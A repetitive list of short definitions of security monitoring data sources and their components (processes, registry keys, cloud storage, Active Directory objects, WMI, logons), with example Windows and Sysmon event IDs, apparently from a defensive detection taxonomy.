Description: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
Current version: 1.0
Description: A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)
Current version: 1.0
Description: A profile representing a user, device, service, or application used to authenticate and access resources
Current version: 1.0
Description: Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)
Current version: 1.0
Description: Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)
Current version: 1.0
Description: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
Current version: 1.0
Description: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
Current version: 1.0
Description: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
Current version: 1.0
Description: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
Current version: 1.0
Description: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)
Current version: 1.0
Description: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
Current version: 1.0
Description: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton(Citation: Microsoft Audit Logon Events)
Current version: 1.0
Description: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
Current version: 1.0
Description: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
Current version: 1.0
Description: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
Current version: 1.0
Description: Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred
Current version: 1.0
Description: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
Current version: 1.0
Description: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
Current version: 1.0
Description: A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
Current version: 1.0
Description: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
Current version: 1.0
Description: A profile representing a user, device, service, or application used to authenticate and access resources
Current version: 1.0
Description: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
Current version: 1.0
Description: Queried domain name system (DNS) registry data highlighting current domain to IP address resolutions (ex: dig/nslookup queries)
Current version: 1.0
Description: A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)
Current version: 1.0
Description: Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)
Current version: 1.0
Description: Initial construction of a new active directory object (ex: Windows EID 5137)
Current version: 1.0
Description: Removal of an active directory object (ex: Windows EID 5141)
Current version: 1.0
Description: Changes made to an active directory object (ex: Windows EID 5163 or 5136)
Current version: 1.0
Description: Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Current version: 1.0
Description: Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: AWS Cloudtrail StopLogging)
Current version: 1.0
Description: An extracted list of cloud services (ex: AWS ECS ListServices)
Current version: 1.0
Description: Contextual data about a cloud service and activity around it such as name, type, or purpose/function
Current version: 1.0
Description: Changes made to a cloud service, including its settings and/or data (ex: AWS CloudTrail DeleteTrail or DeleteConfigRule)
Current version: 1.0
Description: Opening of a cloud storage infrastructure, typically to collect/read its value (ex: AWS S3 GetObject)
Current version: 1.0
Description: Initial construction of new cloud storage infrastructure (ex: AWS S3 CreateBucket)
Current version: 1.0
Description: Removal of cloud storage infrastructure (ex: AWS S3 DeleteBucket)
Current version: 1.0
Description: An extracted list of cloud storage infrastructure (ex: AWS S3 ListBuckets or ListObjects)
Current version: 1.0
Description: Contextual data about cloud storage infrastructure and activity around it such as name, size, or owner
Current version: 1.0
Description: Changes made to cloud storage infrastructure, including its settings and/or data (ex: AWS S3 PutObject or PutObjectAcl)
Current version: 1.0
Description: Contextual data about a cluster and activity around it such as name, namespace, age, or status
Current version: 1.0
Description: Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Current version: 1.0
Description: Initial construction of a new container (ex: docker create
Current version: 1.0
Description: An extracted list of containers (ex: docker ps)
Current version: 1.0
Description: Contextual data about a container and activity around it such as name, ID, image, or status
Current version: 1.0
Description: Activation or invocation of a container (ex: docker start or docker restart)
Current version: 1.0
Description: Information about domain name assignments and other domain metadata (ex: WHOIS)
Current version: 1.0
Description: Opening of a data storage device with an assigned drive letter or mount point
Current version: 1.0
Description: Initial construction of a drive letter or mount point to a data storage device
Current version: 1.0
Description: Changes made to a drive letter or mount point of a data storage device
Current version: 1.0
Description: Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Current version: 1.0
Description: Contextual data about a driver and activity around it such as driver issues reporting or integrity (page hash, code) checking
Current version: 1.0
Description: Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Current version: 1.0
Description: Initial construction of a new file (ex: Sysmon EID 11)
Current version: 1.0
Description: Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Current version: 1.0
Description: Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Current version: 1.0
Description: Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: Write/Delete entries within Azure Firewall Activity Logs)
Current version: 1.0
Description: An extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)
Current version: 1.0
Description: Contextual data about a firewall and activity around it such as name, policy, or status
Current version: 1.0
Description: Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)
Current version: 1.0
Description: Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)
Current version: 1.0
Description: An extracted list of available groups and/or their associated settings (ex: AWS list-groups)
Current version: 1.0
Description: Contextual data about a group which describes group and activity around it, such as name, permissions, or user accounts within the group
Current version: 1.0
Description: Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Initial construction of a virtual machine image (ex: Azure Compute Service Images PUT)
Current version: 1.0
Description: Removal of a virtual machine image (ex: Azure Compute Service Images DELETE)
Current version: 1.0
Description: Contextual data about a virtual machine image such as name, resource group, state, or type
Current version: 1.0
Description: Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)
Current version: 1.0
Description: Initial construction of a new instance (ex: instance.insert within GCP Audit Logs)
Current version: 1.0
Description: Removal of an instance (ex: instance.delete within GCP Audit Logs)
Current version: 1.0
Description: An extracted list of instances within a cloud environment (ex: instance.list within GCP Audit Logs)
Current version: 1.0
Description: Contextual data about an instance and activity around it such as name, type, or status
Current version: 1.0
Description: Changes made to an instance, including its settings and/or control data (ex: instance.addResourcePolicies or instances.setMetadata within GCP Audit Logs)
Current version: 1.0
Description: Activation or invocation of an instance (ex: instance.start within GCP Audit Logs)
Current version: 1.0
Description: Deactivation or stoppage of an instance (ex: instance.stop within GCP Audit Logs)
Current version: 1.0
Description: An object file that contains code to extend the running kernel of an OS, typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls
Current version: 1.0
Description: Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Current version: 1.0
Description: Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Current version: 1.0
Description: Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Current version: 1.0
Description: Logged network traffic data showing both protocol header and body values (ex: PCAP)
Current version: 1.0
Description: Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)
Current version: 1.0
Description: Initial construction of a new pod (ex: kubectl apply|run)
Current version: 1.0
Description: An extracted list of pods within a cluster (ex: kubectl get pods)
Current version: 1.0
Description: Contextual data about a pod and activity around it such as name, ID, namespace, or status
Current version: 1.0
Description: Changes made to a pod, including its settings and/or control data (ex: kubectl set|patch|edit)
Current version: 1.0
Description: Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Current version: 1.0
Description: Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Current version: 1.0
Description: Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Current version: 1.0
Description: Changes made to a process, or its contents, typically to write and/or execute code in the memory of the target process (ex: Sysmon EID 8)
Current version: 1.0
Description: Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)
Current version: 1.0
Description: Logged network traffic in response to a scan showing both protocol header and body values
Current version: 1.0
Description: Contextual data about an Internet-facing resource gathered from a scan, such as running services or ports
Current version: 1.0
Description: Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Current version: 1.0
Description: Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.
Current version: 1.0
Description: Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)
Current version: 1.0
Description: Launching a list of commands through a script file (ex: Windows EID 4104)
Current version: 1.0
Description: Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Current version: 1.0
Description: Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.
Current version: 1.0
Description: Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Current version: 1.0
Description: Initial construction of a new snapshot (ex: AWS create-snapshot)
Current version: 1.0
Description: Removal of a snapshot (ex: AWS delete-snapshot)
Current version: 1.0
Description: An extracted list of snapshops within a cloud environment (ex: AWS describe-snapshots)
Current version: 1.0
Description: Contextual data about a snapshot, which may include information such as ID, type, and status
Current version: 1.0
Description: Changes made to a snapshop, such as metadata and control data (ex: AWS modify-snapshot-attribute)
Current version: 1.0
Description: Established, compromised, or otherwise acquired social media personas
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Current version: 1.0
Description: Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)
Current version: 1.0
Description: Removal of an account (ex: Windows EID 4726 or /var/log access/authentication logs)
Current version: 1.0
Description: Contextual data about an account, which may include a username, user ID, environmental data, etc.
Current version: 1.0
Description: Changes made to an account, such as permissions and/or membership in specific groups (ex: Windows EID 4738 or /var/log access/authentication logs)
Current version: 1.0
Description: Initial construction of a cloud volume (ex: AWS create-volume)
Current version: 1.0
Description: Removal of a a cloud volume (ex: AWS delete-volume)
Current version: 1.0
Description: An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)
Current version: 1.0
Description: Contextual data about a cloud volume and activity around it, such as id, type, state, and size
Current version: 1.0
Description: Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Initial construction of new web credential material (ex: Windows EID 1200 or 4769)
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)
Current version: 1.0
Description: Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)
Current version: 1.0
Description: Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Current version: 1.0
Description: Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Current version: 1.0
Description: Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Current version: 1.0
Description: Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Current version: 1.0
Description: Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Current version: 1.0
Description: This includes alarms associated with unexpected device functions, such as shutdowns, restarts, failures, or configuration changes
Current version: 1.0
Description: Initial construction of a drive letter or mount point to a data storage device
Current version: 1.0
Description: Changes made to a drive letter or mount point of a data storage device
Current version: 1.0
Description: Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Current version: 1.0
Description: Initial construction of a new file (ex: Sysmon EID 11)
Current version: 1.0
Description: Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Current version: 1.0
Description: Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Current version: 1.0
Description: Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Current version: 1.0
Description: Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)
Current version: 1.0
Description: Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Current version: 1.0
Description: Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
Current version: 1.0
Description: Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Current version: 1.0
Description: Logged network traffic data showing both protocol header and body values (ex: PCAP)
Current version: 1.0
Description: Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Current version: 1.0
Description: This includes any data stores that maintain historical or real-time events and telemetry recorded from various sensors or devices
Current version: 1.0
Description: Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Current version: 1.0
Description: Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)
Current version: 1.0
Description: This includes a list of any process alarms or alerts produced to indicate unusual or concerning activity within the operational process (e.g., increased temperature/pressure)
Current version: 1.0
Description: Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.
Current version: 1.0
Description: Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)
Current version: 1.0
Description: Launching a list of commands through a script file (ex: Windows EID 4104)
Current version: 1.0
Description: Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Current version: 1.0
Description: Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Current version: 1.0
Description: Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Current version: 1.0
Description: Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)